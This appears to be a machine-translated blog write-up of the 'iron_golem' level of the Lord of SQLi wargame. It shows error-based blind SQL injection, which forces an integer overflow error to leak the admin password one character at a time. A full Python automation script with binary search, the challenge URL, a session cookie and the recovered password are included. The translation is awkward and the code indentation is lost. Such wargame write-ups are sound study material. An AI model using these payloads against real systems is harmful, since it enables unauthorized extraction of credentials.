OS-21号鉄golem
10049 ワード
[21] iron_golem
質問する
に答える
solve条件はadminアカウントのpwを理解することです.
preg matchを表示し、sleepとbenchmarkをフィルタしています.
どちらの関数もTimeBased Blind SQLI用の関数です.
.などとともにフィルタリングされるため、再クエリーは使用できません.
Timed Basedでアクセスできないため,これは別の方法で解決された問題であると推定できる.
Timed BasedやError Basedをよく勉強したことがないので、結論を出すのに時間がかかります...
わざとミスを起こす方法はいろいろあります.
その名の通り、Integerの範囲を超えた過剰な演算を要求することによってエラーが発生する方法です.
まず,過大な演算を要求した場合のエラーメッセージの内容を確認する.
以下、pwのペイロード"or 0 xFFFFFFFFFFF*0 xFFFFFFFFFFFFFFFの場合のエラーメッセージの内容です.
上記のエラーメッセージの内容の一部をキーワードとして,自動化コードを記述すればよい.
out rangeを選びました.
param=f"?pw=' or id='admin' and if(length(pw)={num}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
その後,完全pwを探す方法も同様の論理を用いる.特定のインデックスのアスキーを見つけたら、エラーを起こすことができます.
また,今回の問題では検索速度を向上させるためにバイナリ検索も適用される.
Los 21号Python自動化コード.
import requests
def send(param):
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
cookie = "dfksep8hnmequ6sm0qe1iu65pa"
head = {"PHPSESSID":f"{cookie}"}
my_url = url+param
res = requests.get(my_url, cookies=head)
return res.text
print("💘 LoS 21을 시작합니다")
for num in range(0,100):
param=f"?pw=' or id='admin' and if(length(pw)={num}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
if("out of range" in send(param)):
print(f"👏 pw의 길이는 {num}입니다!")
break
ans=""
for len in range(1, num+1):
start = 32
end = 127
while True:
middle = round((start+end)/2)
param=f"?pw=' or id=\"admin\" and if(ascii(substr(pw,{len},1))>={middle}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
if("out of range" in send(param)):
param=f"?pw=' or id=\"admin\" and if(ascii(substr(pw,{len},1))={middle}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
if("out of range" in send(param)):
print(f"{len}번째 문자 → {chr(middle)}")
ans+=chr(middle)
break
else:
start = middle
continue
else:
end = middle
continue
print(f"👏 pw의 정체는 [{ans}]입니다!")
Blind攻撃の結果,pwは
06b5a6c16e8830475f983cc3a825ee9a
であった.結果
Reference
この問題について(OS-21号鉄golem), 我々は、より多くの情報をここで見つけました https://velog.io/@sookyeongyeom/LOS-21번-irongolemテキストは自由に共有またはコピーできます。ただし、このドキュメントのURLは参考URLとして残しておいてください。
Collection and Share based on the CC Protocol